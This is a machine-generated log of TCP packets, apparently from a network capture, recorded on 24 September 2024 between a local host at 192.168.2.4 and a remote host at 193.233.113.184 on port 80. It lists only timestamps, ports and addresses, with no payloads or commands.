Sep 24, 2024 21:30:10.995716095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995728016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995728016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995749950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995765924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995781898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995815039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995832920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995832920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995856047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.995898008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.995898008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996314049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996352911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996385098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996398926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996398926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996419907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996453047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996462107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996478081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996486902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996495962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996520996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996552944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996553898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996587038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996597052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996597052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996619940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996659040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996663094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996663094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996695042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.996737957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996737957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.996962070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997056007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997113943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997148037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997174025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997181892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997214079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997220039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997220039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997247934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997281075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997292042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997292042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997313976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997347116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997364044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997364044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997379065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997415066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997423887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997423887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997448921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997483015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997492075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997492075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997517109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.997560978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.997560978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998109102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998142958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998176098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998181105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998198032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998209000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998244047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998255014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998255014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998277903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998282909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998312950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998322010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998347998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998380899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998393059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998393059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998414993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998447895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998456955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998456955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998482943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998492956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998517036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998545885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998550892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998584986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.998594999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998594999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998661041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.998969078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999002934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999036074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999048948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999048948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999068975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999085903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999103069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999136925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999147892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999147892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999171019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999201059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999205112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999252081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999252081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999453068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999486923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999506950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999521971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999545097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999557972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999593019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999598980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999598980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999625921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999659061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999666929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999666929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999692917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.999706984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.999758959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110083103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110099077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110114098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110131025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110140085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110148907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110165119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110214949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110214949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110229015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110244036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110260010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110277891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110322952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110322952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110543966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110569954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110584974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110599041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110622883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110625982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110625982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110656023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110687971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110687971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110692024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110727072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.110732079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110732079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.110972881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111107111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111140013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111171961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111185074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111185074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111206055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111239910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111252069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111252069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111274004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111308098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111320019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111320019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111341000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111373901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111387014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111387014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111440897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111443043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111617088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111756086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111788988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111821890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111839056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111839056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111871958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111906052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111926079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111926079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111939907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111974955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.111987114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.111988068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112009048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112042904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112054110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112054110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112075090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112107992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112119913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112119913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112144947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112190008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112190008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112533092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112566948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112598896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112611055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112611055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112634897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112669945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112679005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112679005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112762928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.112808943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.112808943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.162808895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.167771101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383460999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383516073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383549929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383584023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383589029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383589029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383619070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383620977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383654118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383671999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383671999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383692980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383708954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383728027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383774996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383802891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383841991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383843899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383898020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383898020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.383954048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.383989096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.384020090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.384023905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.384078979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.384181976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.384499073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.384553909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.384588957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.384598970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.384598970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.384649992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.384685040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.384810925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.385631084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.385684967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.385718107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.385853052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.385860920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.385906935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.385921001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.385943890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.385967970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.385978937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386014938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386025906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386025906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386092901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386159897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386189938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386220932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386250019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386305094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386337996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386373997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386389971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386389971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386406898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386429071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386440992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386461973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386495113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386498928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386533976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386562109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386569023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386590958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386631966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386698008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386749029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386784077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.386811972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386811972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.386918068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.387162924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.387208939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.387243032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.387271881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.387271881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.387279987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.387298107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.387406111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.387926102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.387962103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388012886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388012886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388016939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388051987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388084888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388089895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388089895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388118982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388138056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388154030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388201952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388201952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388206005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388241053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388259888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388274908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388308048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388322115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388322115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388343096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388356924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388415098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388447046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388478041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388482094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388482094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388495922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388530970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388556957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388562918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388576031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388597012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.388623953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388623953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.388667107 CEST	49730	80	192.168.2.4	193.233.113.184
